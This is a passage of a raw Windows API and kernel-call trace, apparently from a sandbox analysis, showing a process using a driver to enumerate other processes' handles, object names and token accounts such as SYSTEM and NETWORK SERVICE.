hHeap=0x240000) returned 1 [0122.664] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.664] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0122.664] PsLookupProcessByProcessId (in: ProcessId=0x5cc, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.664] PsAcquireProcessExitSynchronization () returned 0x0 [0122.664] KeStackAttachProcess (in: PROCESS=0xfffffa80030b5b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030b5b30, ApcState=0xfffff880044355d0) [0122.664] ObReferenceObjectByHandle (in: Handle=0xfc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002913bd0, HandleInformation=0x0) returned 0x0 [0122.664] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.664] PsReleaseProcessExitSynchronization () returned 0x2 [0122.664] ObfDereferenceObject (Object=0xfffffa80030b5b30) returned 0x22 [0122.664] ObQueryNameString (in: Object=0xfffffa8002913bd0, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.664] ObfDereferenceObject (Object=0xfffffa8002913bd0) returned 0x3 [0122.664] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.664] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.664] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x674) returned 0xc0 [0122.664] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0122.664] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa8003c03630, HandleInformation=0x0) returned 0x0 [0122.664] ObOpenObjectByPointer (in: Object=0xfffffa8003c03630, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff800009e8) returned 0x0 [0122.664] ObfDereferenceObject (Object=0xfffffa8003c03630) returned 0x36 [0122.664] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009e8, DesiredAccess=0x8, TokenHandle=0xfffffa80026f14c0 | out: TokenHandle=0xfffffa80026f14c0*=0xc8) returned 0x0 [0122.664] ZwClose (Handle=0xffffffff800009e8) returned 0x0 [0122.664] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.665] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0122.665] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x14), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="NETWORK SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0122.666] CloseHandle (hObject=0xc8) returned 1 [0122.666] CloseHandle (hObject=0xc0) returned 1 [0122.666] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.666] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0122.666] PsLookupProcessByProcessId (in: ProcessId=0x674, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.666] PsAcquireProcessExitSynchronization () returned 0x0 [0122.666] KeStackAttachProcess (in: PROCESS=0xfffffa8003c03630, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003c03630, ApcState=0xfffff880044355d0) [0122.666] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800282e8d0, HandleInformation=0x0) returned 0x0 [0122.666] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.666] PsReleaseProcessExitSynchronization () returned 0x2 [0122.666] ObfDereferenceObject (Object=0xfffffa8003c03630) returned 0x34 [0122.666] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ffa044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001ffa044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.666] ObfDereferenceObject (Object=0xfffffa800282e8d0) returned 0x1 [0122.666] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.666] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.666] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.666] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0122.667] PsLookupProcessByProcessId (in: ProcessId=0x674, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.667] PsAcquireProcessExitSynchronization () returned 0x0 [0122.667] KeStackAttachProcess (in: PROCESS=0xfffffa8003c03630, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003c03630, ApcState=0xfffff880044355d0) [0122.667] ObReferenceObjectByHandle (in: Handle=0x74, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003c3ae60, HandleInformation=0x0) returned 0x0 [0122.667] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.667] PsReleaseProcessExitSynchronization () returned 0x2 [0122.667] ObfDereferenceObject (Object=0xfffffa8003c03630) returned 0x34 [0122.667] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.667] ObfDereferenceObject (Object=0xfffffa8003c3ae60) returned 0x1 [0122.667] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.667] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.667] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.667] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0122.667] PsLookupProcessByProcessId (in: ProcessId=0x674, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.667] PsAcquireProcessExitSynchronization () returned 0x0 [0122.667] KeStackAttachProcess (in: PROCESS=0xfffffa8003c03630, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003c03630, ApcState=0xfffff880044355d0) [0122.667] ObReferenceObjectByHandle (in: Handle=0x148, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800feae350, HandleInformation=0x0) returned 0x0 [0122.667] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.667] PsReleaseProcessExitSynchronization () returned 0x2 [0122.667] ObfDereferenceObject (Object=0xfffffa8003c03630) returned 0x34 [0122.667] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.667] ObfDereferenceObject (Object=0xfffffa800feae350) returned 0x1 [0122.667] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.667] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.667] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.667] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0122.667] PsLookupProcessByProcessId (in: ProcessId=0x674, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.667] PsAcquireProcessExitSynchronization () returned 0x0 [0122.667] KeStackAttachProcess (in: PROCESS=0xfffffa8003c03630, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003c03630, ApcState=0xfffff880044355d0) [0122.667] ObReferenceObjectByHandle (in: Handle=0x14c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800cabbea0, HandleInformation=0x0) returned 0x0 [0122.667] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.667] PsReleaseProcessExitSynchronization () returned 0x2 [0122.667] ObfDereferenceObject (Object=0xfffffa8003c03630) returned 0x34 [0122.668] ObQueryNameString (in: Object=0xfffffa800281b200, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.668] ObfDereferenceObject (Object=0xfffffa800cabbea0) returned 0x1 [0122.668] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.668] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.668] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.668] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0122.668] PsLookupProcessByProcessId (in: ProcessId=0x674, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.668] PsAcquireProcessExitSynchronization () returned 0x0 [0122.668] KeStackAttachProcess (in: PROCESS=0xfffffa8003c03630, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003c03630, ApcState=0xfffff880044355d0) [0122.668] ObReferenceObjectByHandle (in: Handle=0x214, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0122.668] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.668] PsReleaseProcessExitSynchronization () returned 0x2 [0122.668] ObfDereferenceObject (Object=0xfffffa8003c03630) returned 0x34 [0122.668] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80020cd044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020cd044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.668] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0122.668] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.668] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.668] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x738) returned 0xc0 [0122.668] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0122.668] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa8003c04ab0, HandleInformation=0x0) returned 0x0 [0122.668] ObOpenObjectByPointer (in: Object=0xfffffa8003c04ab0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff800009e8) returned 0x0 [0122.668] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xae [0122.668] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009e8, DesiredAccess=0x8, TokenHandle=0xfffffa80026f14c0 | out: TokenHandle=0xfffffa80026f14c0*=0xc8) returned 0x0 [0122.668] ZwClose (Handle=0xffffffff800009e8) returned 0x0 [0122.668] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.668] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0122.668] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0122.670] CloseHandle (hObject=0xc8) returned 1 [0122.670] CloseHandle (hObject=0xc0) returned 1 [0122.670] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.670] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0122.670] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.670] PsAcquireProcessExitSynchronization () returned 0x0 [0122.670] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880044355d0) [0122.670] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80029137b0, HandleInformation=0x0) returned 0x0 [0122.670] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.670] PsReleaseProcessExitSynchronization () returned 0x2 [0122.670] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xac [0122.670] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020f1044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80020f1044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.670] ObfDereferenceObject (Object=0xfffffa80029137b0) returned 0x1 [0122.670] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.670] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.670] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.670] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0122.670] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.670] PsAcquireProcessExitSynchronization () returned 0x0 [0122.670] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880044355d0) [0122.670] ObReferenceObjectByHandle (in: Handle=0x60, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800fdff470, HandleInformation=0x0) returned 0x0 [0122.670] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.670] PsReleaseProcessExitSynchronization () returned 0x2 [0122.670] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xac [0122.670] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88004435508) returned 0x0 [0122.671] ObfDereferenceObject (Object=0xfffffa800fdff470) returned 0x1 [0122.671] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.671] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.671] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.671] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0122.671] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.671] PsAcquireProcessExitSynchronization () returned 0x0 [0122.671] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880044355d0) [0122.671] ObReferenceObjectByHandle (in: Handle=0x100, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0014f2d60, HandleInformation=0x0) returned 0x0 [0122.671] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.671] PsReleaseProcessExitSynchronization () returned 0x2 [0122.671] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xac [0122.671] ObQueryNameString (in: Object=0xfffff8a0014f2d60, ObjectNameInfo=0xfffffa80037a2444, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80037a2444, ReturnLength=0xfffff88004435550) returned 0x0 [0122.671] ObfDereferenceObject (Object=0xfffff8a0014f2d60) returned 0x6 [0122.671] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.671] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.671] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.671] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xca, lpOverlapped=0x0) returned 1 [0122.671] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.671] PsAcquireProcessExitSynchronization () returned 0x0 [0122.671] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880044355d0) [0122.671] ObReferenceObjectByHandle (in: Handle=0x154, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800eb5bbc0, HandleInformation=0x0) returned 0x0 [0122.671] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.671] PsReleaseProcessExitSynchronization () returned 0x2 [0122.671] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xac [0122.671] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800341c7c4, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa800341c7c4, ReturnLength=0xfffff88004435508) returned 0x0 [0122.671] ObfDereferenceObject (Object=0xfffffa800eb5bbc0) returned 0x21 [0122.671] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.671] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.671] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.672] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0122.672] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.672] PsAcquireProcessExitSynchronization () returned 0x0 [0122.672] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880044355d0) [0122.672] ObReferenceObjectByHandle (in: Handle=0x270, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002254f20, HandleInformation=0x0) returned 0x0 [0122.672] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.672] PsReleaseProcessExitSynchronization () returned 0x2 [0122.672] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xac [0122.672] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80037a3644, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80037a3644, ReturnLength=0xfffff88004435508) returned 0x0 [0122.672] ObfDereferenceObject (Object=0xfffffa8002254f20) returned 0x1 [0122.672] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.672] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.672] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.672] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xe4, lpOverlapped=0x0) returned 1 [0122.672] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.672] PsAcquireProcessExitSynchronization () returned 0x0 [0122.672] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880044355d0) [0122.672] ObReferenceObjectByHandle (in: Handle=0x390, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800193d340, HandleInformation=0x0) returned 0x0 [0122.672] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.672] PsReleaseProcessExitSynchronization () returned 0x2 [0122.672] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xac [0122.672] ObQueryNameString (in: Object=0xfffffa800193d340, ObjectNameInfo=0xfffffa8002101044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8002101044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.672] ObfDereferenceObject (Object=0xfffffa800193d340) returned 0x3 [0122.672] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.672] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.672] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.672] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0122.672] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.672] PsAcquireProcessExitSynchronization () returned 0x0 [0122.672] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880044355d0) [0122.672] ObReferenceObjectByHandle (in: Handle=0x408, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80019c4430, HandleInformation=0x0) returned 0x0 [0122.672] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.672] PsReleaseProcessExitSynchronization () returned 0x2 [0122.672] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xac [0122.673] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.673] ObfDereferenceObject (Object=0xfffffa80019c4430) returned 0x1 [0122.673] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.673] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.673] 